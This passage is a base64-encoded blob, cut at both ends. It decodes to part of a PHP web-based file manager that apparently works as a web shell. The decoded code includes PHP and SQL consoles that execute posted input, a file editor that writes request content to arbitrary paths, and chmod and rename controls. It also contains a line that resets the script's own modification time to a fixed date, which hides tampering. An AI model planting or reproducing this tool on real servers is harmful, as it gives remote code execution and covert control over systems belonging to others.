ZNmtxQnhZb3JTXC9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUaUZ6QlFOT1hqNFFLem9BS3phanRZSVF3QWx2dHBsM1Y1YzhNQUFBQUFTVVZPUks1Q1lJST1cIik7XHJcbn1cclxuQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo3MjBweCl7XHJcbiAgdGFibGV7ZGlzcGxheTpibG9jazt9XHJcbiAgICAjZm1fdGFibGUgdGR7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9XHJcbiAgICAjZm1fdGFibGUgdGJvZHkgdGQ6Zmlyc3QtY2hpbGR7d2lkdGg6MTAwJTtwYWRkaW5nOjA7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybisxKXtiYWNrZ3JvdW5kLWNvbG9yOiNFRkVGRUY7fVxyXG4gICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZC1jb2xvcjojREVFM0U3O31cclxuICAgICNmbV90YWJsZSB0cntkaXNwbGF5OmJsb2NrO2Zsb2F0OmxlZnQ7Y2xlYXI6bGVmdDt3aWR0aDoxMDAlO31cclxuXHQjaGVhZGVyX3RhYmxlIC5yb3cyLCAjaGVhZGVyX3RhYmxlIC5yb3czIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O3dpZHRoOjEwMCU7cGFkZGluZzowO31cclxuXHQjaGVhZGVyX3RhYmxlIHRhYmxlIHRkIHtkaXNwbGF5OmlubGluZTtmbG9hdDpsZWZ0O31cclxufVxyXG48XC9zdHlsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbjw/cGhwXHJcbiR1cmxfaW5jID0gJz9mbT10cnVlJztcclxuaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3NxbF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydzcWwnXSkgPyAnJyA6ICRfUE9TVFsnc3FsJ107XHJcblx0JHJlc19sbmcgPSAnc3FsJztcclxufSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsncGhwcnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3BocF9jb25zb2xlJ10pKXtcclxuXHQkcmVzID0gZW1wdHkoJF9QT1NUWydwaHAnXSkgPyAnJyA6ICRfUE9TVFsncGhwJ107XHJcblx0JHJlc19sbmcgPSAncGhwJztcclxufSBcclxuaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkge1xyXG5cdGVjaG8gJyBcclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPGZvcm0gbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIlwiPlxyXG48dHI+PHRoIGNvbHNwYW49XCIyXCI+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJyAtICcuX18oJ1NldHRpbmdzJykuJzxcL3RoPjxcL3RyPlxyXG4nLihlbXB0eSgkbXNnKT8nJzonPHRyPjx0ZCBjbGFzcz1cInJvdzJcIiBjb2xzcGFuPVwiMlwiPicuJG1zZy4nPFwvdGQ+PFwvdHI+JykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cgc2l6ZSBvZiB0aGUgZm9sZGVyJyksJ3Nob3dfZGlyX3NpemUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygncGljdHVyZXMnKSwnc2hvd19pbWcnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTWFrZSBkaXJlY3RvcnknKSwnbWFrZV9kaXJlY3RvcnknKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnTmV3IGZpbGUnKSwnbmV3X2ZpbGUnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnVXBsb2FkJyksJ3VwbG9hZF9maWxlJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCB2ZXJzaW9uJywnc2hvd19waHBfdmVyJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFBIUCBpbmknLCdzaG93X3BocF9pbmknKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgJy5fXygnR2VuZXJhdGlvbiB0aW1lJyksJ3Nob3dfZ3QnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgeGxzJywnc2hvd194bHMnKS4nXHJcbicuZm1fY29uZmlnX2NoZWNrYm94X3JvdyhfXygnU2hvdycpLicgUEhQICcuX18oJ0NvbnNvbGUnKSwnZW5hYmxlX3BocF9jb25zb2xlJykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFNRTCAnLl9fKCdDb25zb2xlJyksJ2VuYWJsZV9zcWxfY29uc29sZScpLidcclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2NvbmZpZ1tzcWxfc2VydmVyXVwiIHZhbHVlPVwiJy4kZm1fY29uZmlnWydzcWxfc2VydmVyJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBzZXJ2ZXI8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2NvbmZpZ1tzcWxfdXNlcm5hbWVdXCIgdmFsdWU9XCInLiRmbV9jb25maWdbJ3NxbF91c2VybmFtZSddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj5TUUwgdXNlcjxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF9wYXNzd29yZF1cIiB2YWx1ZT1cIicuJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBwYXNzd29yZDxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fY29uZmlnW3NxbF9kYl1cIiB2YWx1ZT1cIicuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPlNRTCBEQjxcL3RkPjxcL3RyPlxyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIFByb3h5JywnZW5hYmxlX3Byb3h5JykuJ1xyXG4nLmZtX2NvbmZpZ19jaGVja2JveF9yb3coX18oJ1Nob3cnKS4nIHBocGluZm8oKScsJ3Nob3dfcGhwaW5mbycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdTaG93JykuJyAnLl9fKCdTZXR0aW5ncycpLCdmbV9zZXR0aW5ncycpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ3Jlc3RvcmVfdGltZScpLidcclxuJy5mbV9jb25maWdfY2hlY2tib3hfcm93KF9fKCdGaWxlIG1hbmFnZXInKS4nOiAnLl9fKCdSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nJyksJ2ZtX3Jlc3RvcmVfdGltZScpLidcclxuPHRyPjx0ZCBjbGFzcz1cInJvdzNcIj48YSBocmVmPVwiJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUmZm1fY29uZmlnX2RlbGV0ZT10cnVlXCI+Jy5fXygnUmVzZXQgc2V0dGluZ3MnKS4nPFwvYT48XC90ZD48dGQgY2xhc3M9XCJyb3czXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ1NhdmUnKS4nXCIgbmFtZT1cImZtX2NvbmZpZ1tmbV9zZXRfc3VibWl0XVwiPjxcL3RkPjxcL3RyPlxyXG48XC9mb3JtPlxyXG48XC90YWJsZT5cclxuPHRhYmxlPlxyXG48Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+XHJcbjx0cj48dGggY29sc3Bhbj1cIjJcIj4nLl9fKCdTZXR0aW5ncycpLicgLSAnLl9fKCdBdXRob3JpemF0aW9uJykuJzxcL3RoPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fbG9naW5bYXV0aG9yaXplXVwiIHZhbHVlPVwiMVwiICcuKCRhdXRoWydhdXRob3JpemUnXT8nY2hlY2tlZCc6JycpLicgdHlwZT1cImNoZWNrYm94XCIgaWQ9XCJhdXRoXCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjxsYWJlbCBmb3I9XCJhdXRoXCI+Jy5fXygnQXV0aG9yaXphdGlvbicpLic8XC9sYWJlbD48XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48aW5wdXQgbmFtZT1cImZtX2xvZ2luW2xvZ2luXVwiIHZhbHVlPVwiJy4kYXV0aFsnbG9naW4nXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+Jy5fXygnTG9naW4nKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCJmbV9sb2dpbltwYXNzd29yZF1cIiB2YWx1ZT1cIicuJGF1dGhbJ3Bhc3N3b3JkJ10uJ1wiIHR5cGU9XCJ0ZXh0XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPicuX18oJ1Bhc3N3b3JkJykuJzxcL3RkPjxcL3RyPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiZm1fbG9naW5bY29va2llX25hbWVdXCIgdmFsdWU9XCInLiRhdXRoWydjb29raWVfbmFtZSddLidcIiB0eXBlPVwidGV4dFwiPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdDb29raWUnKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IG5hbWU9XCJmbV9sb2dpbltkYXlzX2F1dGhvcml6YXRpb25dXCIgdmFsdWU9XCInLiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXS4nXCIgdHlwZT1cInRleHRcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+Jy5fXygnRGF5cycpLic8XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjbGFzcz1cInJvdzFcIj48dGV4dGFyZWEgbmFtZT1cImZtX2xvZ2luW3NjcmlwdF1cIiBjb2xzPVwiMzVcIiByb3dzPVwiN1wiIGNsYXNzPVwidGV4dGFyZWFfaW5wdXRcIiBpZD1cImF1dGhfc2NyaXB0XCI+Jy4kYXV0aFsnc2NyaXB0J10uJzxcL3RleHRhcmVhPjxcL3RkPjx0ZCBjbGFzcz1cInJvdzIgd2hvbGVcIj4nLl9fKCdTY3JpcHQnKS4nPFwvdGQ+PFwvdHI+XHJcbjx0cj48dGQgY29sc3Bhbj1cIjJcIiBjbGFzcz1cInJvdzNcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnU2F2ZScpLidcIiA+PFwvdGQ+PFwvdHI+XHJcbjxcL2Zvcm0+XHJcbjxcL3RhYmxlPic7XHJcbmVjaG8gZm1fdHBsX2Zvcm0oJ3BocCcpLGZtX3RwbF9mb3JtKCdzcWwnKTtcclxufSBlbHNlaWYgKGlzc2V0KCRwcm94eV9mb3JtKSkge1xyXG5cdGRpZSgkcHJveHlfZm9ybSk7XHJcbn0gZWxzZWlmIChpc3NldCgkcmVzX2xuZykpIHtcdFxyXG4/PlxyXG48dGFibGUgY2xhc3M9XCJ3aG9sZVwiPlxyXG48dHI+XHJcbiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzJcIj48dGFibGU+PHRyPjx0ZD48aDI+PD89c3RydG91cHBlcigkcmVzX2xuZyk/PiA8Pz1fXygnQ29uc29sZScpPz48P3BocFxyXG5cdGlmKCRyZXNfbG5nPT0nc3FsJykgZWNobyAnIC0gRGF0YWJhc2U6ICcuJGZtX2NvbmZpZ1snc3FsX2RiJ10uJzxcL2gyPjxcL3RkPjx0ZD4nLmZtX3J1bl9pbnB1dCgncGhwJyk7XHJcblx0ZWxzZSBlY2hvICc8XC9oMj48XC90ZD48dGQ+Jy5mbV9ydW5faW5wdXQoJ3NxbCcpO1xyXG5cdD8+PFwvdGQ+PFwvdHI+PFwvdGFibGU+PFwvdGQ+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcblx0XHQ8YSBocmVmPVwiPD89JHVybF9pbmMuJyZwYXRoPScgLiAkcGF0aDs/PlwiPjw/PV9fKCdCYWNrJyk/PjxcL2E+XHJcblx0XHQ8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJQT1NUXCIgbmFtZT1cImNvbnNvbGVcIj5cclxuXHRcdDx0ZXh0YXJlYSBuYW1lPVwiPD89JHJlc19sbmc/PlwiIGNvbHM9XCI4MFwiIHJvd3M9XCIxMFwiIHN0eWxlPVwid2lkdGg6IDkwJVwiPjw/PSRyZXM/PjxcL3RleHRhcmVhPjxiclwvPlxyXG5cdFx0PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiPD89X18oJ1Jlc2V0Jyk/PlwiPlxyXG5cdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIjw/PV9fKCdTdWJtaXQnKT8+XCIgbmFtZT1cIjw/PSRyZXNfbG5nPz5ydW5cIj5cclxuPD9waHBcclxuJHN0cl90bXBsID0gJHJlc19sbmcuJ190ZW1wbGF0ZXMnO1xyXG4kdG1wbCA9ICFlbXB0eSgkJHN0cl90bXBsKSA/IGpzb25fZGVjb2RlKCQkc3RyX3RtcGwsdHJ1ZSkgOiAnJztcclxuaWYgKCFlbXB0eSgkdG1wbCkpe1xyXG5cdCRhY3RpdmUgPSBpc3NldCgkX1BPU1RbJHJlc19sbmcuJ190cGwnXSkgPyAkX1BPU1RbJHJlc19sbmcuJ190cGwnXSA6ICcnO1xyXG5cdCRzZWxlY3QgPSAnPHNlbGVjdCBuYW1lPVwiJy4kcmVzX2xuZy4nX3RwbFwiIHRpdGxlPVwiJy5fXygnVGVtcGxhdGUnKS4nXCIgb25jaGFuZ2U9XCJpZiAodGhpcy52YWx1ZSE9LTEpIGRvY3VtZW50LmZvcm1zW1xcJ2NvbnNvbGVcXCddLmVsZW1lbnRzW1xcJycuJHJlc19sbmcuJ1xcJ10udmFsdWUgPSB0aGlzLm9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWU7IGVsc2UgZG9jdW1lbnQuZm9ybXNbXFwnY29uc29sZVxcJ10uZWxlbWVudHNbXFwnJy4kcmVzX2xuZy4nXFwnXS52YWx1ZSA9XFwnXFwnO1wiID4nLlwiXFxuXCI7XHJcblx0JHNlbGVjdCAuPSAnPG9wdGlvbiB2YWx1ZT1cIi0xXCI+JyAuIF9fKCdTZWxlY3QnKSAuIFwiPFwvb3B0aW9uPlxcblwiO1xyXG5cdGZvcmVhY2ggKCR0bXBsIGFzICRrZXk9PiR2YWx1ZSl7XHJcblx0XHQkc2VsZWN0Lj0nPG9wdGlvbiB2YWx1ZT1cIicuJHZhbHVlLidcIiAnLigoIWVtcHR5KCR2YWx1ZSkmJigkdmFsdWU9PSRhY3RpdmUpKT8nc2VsZWN0ZWQnOicnKS4nID4nLl9fKCRrZXkpLlwiPFwvb3B0aW9uPlxcblwiO1xyXG5cdH1cclxuXHQkc2VsZWN0IC49IFwiPFwvc2VsZWN0PlxcblwiO1xyXG5cdGVjaG8gJHNlbGVjdDtcclxufVxyXG4/PlxyXG5cdFx0PFwvZm9ybT5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjxcL3RhYmxlPlxyXG48P3BocFxyXG5cdGlmICghZW1wdHkoJHJlcykpIHtcclxuXHRcdCRmdW49J2ZtXycuJHJlc19sbmc7XHJcblx0XHRlY2hvICc8aDM+Jy5zdHJ0b3VwcGVyKCRyZXNfbG5nKS4nICcuX18oJ1Jlc3VsdCcpLic8XC9oMz48cHJlPicuJGZ1bigkcmVzKS4nPFwvcHJlPic7XHJcblx0fVxyXG59IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsnZWRpdCddKSl7XHJcblx0aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkge1xyXG5cdFx0JGZuID0gJHBhdGggLiAkX1JFUVVFU1RbJ2VkaXQnXTtcclxuXHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoJGZuKTtcclxuXHQgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmbiwgJF9SRVFVRVNUWyduZXdjb250ZW50J10pKSAkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdGlmICgkX0dFVFsnZWRpdCddPT1iYXNlbmFtZShfX0ZJTEVfXykpIHtcclxuXHRcdFx0dG91Y2goX19GSUxFX18sMTQxNTExNjM3MSk7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Jlc3RvcmVfdGltZSddKSkgdG91Y2goJGZuLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVxyXG5cdH1cclxuICAgICRvbGRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoIC4gJF9SRVFVRVNUWydlZGl0J10pO1xyXG4gICAgJGVkaXRsaW5rID0gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRfUkVRVUVTVFsnZWRpdCddIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuICAgICRiYWNrbGluayA9ICR1cmxfaW5jIC4gJyZwYXRoPScgLiAkcGF0aDtcclxuPz5cclxuPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvZ2hcL0RlbjF4eHhcL0VkaXRBcmVhQG1hc3RlclwvZWRpdF9hcmVhXC9lZGl0X2FyZWFfZnVsbC5qc1wiPjxcL3NjcmlwdD5cclxuPHRhYmxlIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScxJyB3aWR0aD1cIjEwMCVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy5fXygnRWRpdCcpLicgLSAnLiRwYXRoLiRfUkVRVUVTVFsnZWRpdCddPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz0kbXNnPz5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz1mbV9ob21lKCk/PiA8YSBocmVmPVwiPD89JGJhY2tsaW5rPz5cIj48Pz1fXygnQmFjaycpPz48XC9hPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiIGFsaWduPVwiY2VudGVyXCI+XHJcbiAgICAgICAgPGZvcm0gbmFtZT1cImZvcm0xXCIgbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSRlZGl0bGluaz8+XCI+XHJcbiAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPVwibmV3Y29udGVudFwiIGlkPVwibmV3Y29udGVudFwiIGNvbHM9XCI0NVwiIHJvd3M9XCIyNVwiIHN0eWxlPVwid2lkdGg6OTklXCIgc3BlbGxjaGVjaz1cImZhbHNlXCI+PD89aHRtbHNwZWNpYWxjaGFycygkb2xkY29udGVudCk/PjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzYXZlXCIgdmFsdWU9XCI8Pz1fXygnU3VibWl0Jyk/PlwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cIjw/PV9fKCdDYW5jZWwnKT8+XCI+XHJcbiAgICAgICAgPFwvZm9ybT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU+XHJcbjxzY3JpcHQgbGFuZ3VhZ2U9XCJKYXZhc2NyaXB0XCIgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkge1xyXG5cdGVkaXRBcmVhTG9hZGVyLmluaXQoe1xyXG5cdGlkOiBcIm5ld2NvbnRlbnRcIlxyXG5cdCxkaXNwbGF5OiBcImxhdGVyXCJcclxuXHQsc3RhcnRfaGlnaGxpZ2h0OiB0cnVlXHJcblx0LGFsbG93X3Jlc2l6ZTogXCJib3RoXCJcclxuXHQsYWxsb3dfdG9nZ2xlOiB0cnVlXHJcblx0LHdvcmRfd3JhcDogdHJ1ZVxyXG5cdCxsYW5ndWFnZTogXCJydVwiXHJcblx0LHN5bnRheDogXCI8Pz1wYXRoaW5mbygkX1JFUVVFU1RbJ2VkaXQnXSwgUEFUSElORk9fRVhURU5TSU9OKT8+XCJcdFxyXG5cdCx0b29sYmFyOiBcInNlYXJjaCwgZ29fdG9fbGluZSwgfCwgdW5kbywgcmVkbywgfCwgc2VsZWN0X2ZvbnQsIHwsIHN5bnRheF9zZWxlY3Rpb24sIHwsIGNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uLCBoaWdobGlnaHQsIHJlc2V0X2hpZ2hsaWdodCwgfCwgaGVscFwiXHJcblx0LHN5bnRheF9zZWxlY3Rpb25fYWxsb3c6IFwiY3NzLGh0bWwsanMscGhwLHB5dGhvbix4bWwsYyxjcHAsc3FsLGJhc2ljLHBhc1wiXHJcblx0fSk7XHJcbn0pO1xyXG48XC9zY3JpcHQ+XHJcbjw/cGhwXHJcbmVjaG8gJGF1dGhbJ3NjcmlwdCddO1xyXG59IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydyaWdodHMnXSkpe1xyXG5cdGlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHtcclxuXHQgICAgaWYoZm1fY2htb2QoJHBhdGggLiAkX1JFUVVFU1RbJ3JpZ2h0cyddLCBmbV9jb252ZXJ0X3JpZ2h0cygkX1JFUVVFU1RbJ3JpZ2h0c192YWwnXSksIEAkX1JFUVVFU1RbJ3JlY3Vyc2l2ZWx5J10pKVxyXG5cdFx0JG1zZyAuPSAoX18oJ0ZpbGUgdXBkYXRlZCcpKTsgXHJcblx0XHRlbHNlICRtc2cgLj0gKF9fKCdFcnJvciBvY2N1cnJlZCcpKTtcclxuXHR9XHJcblx0Y2xlYXJzdGF0Y2FjaGUoKTtcclxuICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7XHJcbiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRfUkVRVUVTVFsncmlnaHRzJ10gLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4gICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4/PlxyXG48dGFibGUgY2xhc3M9XCJ3aG9sZVwiPlxyXG48dHI+XHJcbiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48XC90aD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8Pz0kbXNnPz5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIj5cclxuICAgICAgICA8YSBocmVmPVwiPD89JGJhY2tsaW5rPz5cIj48Pz1fXygnQmFjaycpPz48XC9hPlxyXG5cdDxcL3RkPlxyXG48XC90cj5cclxuPHRyPlxyXG4gICAgPHRkIGNsYXNzPVwicm93MVwiIGFsaWduPVwiY2VudGVyXCI+XHJcbiAgICAgICAgPGZvcm0gbmFtZT1cImZvcm0xXCIgbWV0aG9kPVwicG9zdFwiIGFjdGlvbj1cIjw/PSRsaW5rPz5cIj5cclxuICAgICAgICAgICA8Pz1fXygnUmlnaHRzJykuJyAtICcuJF9SRVFVRVNUWydyaWdodHMnXT8+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJyaWdodHNfdmFsXCIgdmFsdWU9XCI8Pz0kb2xkcmlnaHRzPz5cIj5cclxuICAgICAgICA8P3BocCBpZiAoaXNfZGlyKCRwYXRoLiRfUkVRVUVTVFsncmlnaHRzJ10pKSB7ID8+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwicmVjdXJzaXZlbHlcIiB2YWx1ZT1cIjFcIj4gPD89X18oJ1JlY3Vyc2l2ZWx5Jyk/PjxiclwvPlxyXG4gICAgICAgIDw/cGhwIH0gPz5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic2F2ZVwiIHZhbHVlPVwiPD89X18oJ1N1Ym1pdCcpPz5cIj5cclxuICAgICAgICA8XC9mb3JtPlxyXG4gICAgPFwvdGQ+XHJcbjxcL3RyPlxyXG48XC90YWJsZT5cclxuPD9waHBcclxufSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3JlbmFtZSddKSYmJF9SRVFVRVNUWydyZW5hbWUnXTw+Jy4nKSB7XHJcblx0aWYoIWVtcHR5KCRfUkVRVUVTVFsnc2F2ZSddKSkge1xyXG5cdCAgICByZW5hbWUoJHBhdGggLiAkX1JFUVVFU1RbJ3JlbmFtZSddLCAkcGF0aCAuICRfUkVRVUVTVFsnbmV3bmFtZSddKTtcclxuXHRcdCRtc2cgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7XHJcblx0XHQkX1JFUVVFU1RbJ3JlbmFtZSddID0gJF9SRVFVRVNUWyduZXduYW1lJ107XHJcblx0fVxyXG5cdGNsZWFyc3RhdGNhY2hlKCk7XHJcbiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRfUkVRVUVTVFsncmVuYW1lJ10gLiAnJnBhdGg9JyAuICRwYXRoO1xyXG4gICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoO1xyXG5cclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIj5cclxuPHRyPlxyXG4gICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PFwvdGg+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcbiAgICAgICAgPD89JG1zZz8+XHJcblx0PFwvdGQ+XHJcbjxcL3RyPlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cxXCI+XHJcbiAgICAgICAgPGEgaHJlZj1cIjw/PSRiYWNrbGluaz8+XCI+PD89X18oJ0JhY2snKT8+PFwvYT5cclxuXHQ8XC90ZD5cclxuPFwvdHI+XHJcbjx0cj5cclxuICAgIDx0ZCBjbGFzcz1cInJvdzFcIiBhbGlnbj1cImNlbnRlclwiPlxyXG4gICAgICAgIDxmb3JtIG5hbWU9XCJmb3JtMVwiIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kbGluaz8+XCI+XHJcbiAgICAgICAgICAgIDw/PV9fKCdSZW5hbWUnKT8+OiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVl